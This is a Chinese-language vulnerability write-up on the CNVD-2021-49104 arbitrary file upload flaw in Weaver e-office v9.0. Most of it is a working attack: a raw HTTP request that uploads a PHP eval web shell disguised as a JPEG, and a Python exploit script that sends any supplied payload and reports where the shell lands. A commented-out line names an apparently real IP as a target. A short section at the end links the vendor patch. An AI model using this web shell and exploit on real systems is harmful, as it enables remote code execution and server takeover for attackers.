[toc]
泛微 e-office v9.0任意文件上传漏洞(CNVD-2021-49104)
参考:
https://cnvd.org.cn/flaw/show/CNVD-2021-49104
https://mp.weixin.qq.com/s/P75K_0869h-nWHRMu06zgQ
https://mp.weixin.qq.com/s/J4R-PRJq_oi58iWKh_1Oiw
泛微oa跟eoffice区别:
常见oa是ecology,eoffice是轻量版
一、漏洞概述
泛微e-office是泛微旗下的一款标准协同移动办公平台。
泛微e-office 未能正确处理上传模块中用户输入导致的,攻击者可以构造恶意的上传数据包,实现任意代码执行,攻击者可利用该漏洞获取服务器控制权。
二、影响范围
泛微e-office V9.0
三、漏洞复现
安装包:链接: https://pan.baidu.com/s/1i4DQ4YD 密码: fegm
POC:
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 127.0.0.1:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 333
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg
<?php
$a=$_POST['H'];
eval("$a");//eval会将输入的$a作为php语句执行,因此只要对_赋一定的system命令值,就能够执行系统命令
?>
--e64bdf16c554bbc109cecef6451c26a4--
EXP:
泛微 e-office v9.0任意文件上传漏洞 (CNVD-2021-49104)
import requests
import argparse
args = argparse.ArgumentParser(description='泛微 e-office v9.0任意文件上传漏洞 (CNVD-2021-49104)')
args.add_argument('-u', help='漏洞URL<如:127.0.0.1:8080>')
args.add_argument('-e', help='执行命令')
a = args.parse_args()
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
'Accept-Encoding': 'gzip, deflate',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Connection': 'close',
'Accept-Language': 'zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6',
'Cookie': 'LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348',
'Content-Length': '193',
'Content-Type': 'multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4'
}
#a.os = '<?php phpinfo();?>'
data = '''
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg
{}
--e64bdf16c554bbc109cecef6451c26a4--
'''.format(a.e)
def scan(url):
url = url + '/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId='
r = requests.post(url=url, data=data, headers=header)
if r.status_code == 200 and 'logo-eoffice.php' in r.text:
print('存在泛微 e-office v9.0任意文件上传漏洞 (CNVD-2021-49104)')
print('请查看</images/logo/logo-eoffice.php>目录')
else:
print('不存在泛微 e-office v9.0任意文件上传漏洞 (CNVD-2021-49104)')
if __name__ == '__main__':
#a.u = 'http://121.4.67.191:8082/'
scan(a.u)
四、修复方案
厂商已提供漏洞修补方案,建议用户下载使用:
http://v10.e-office.cn/eoffice9update/safepack.zip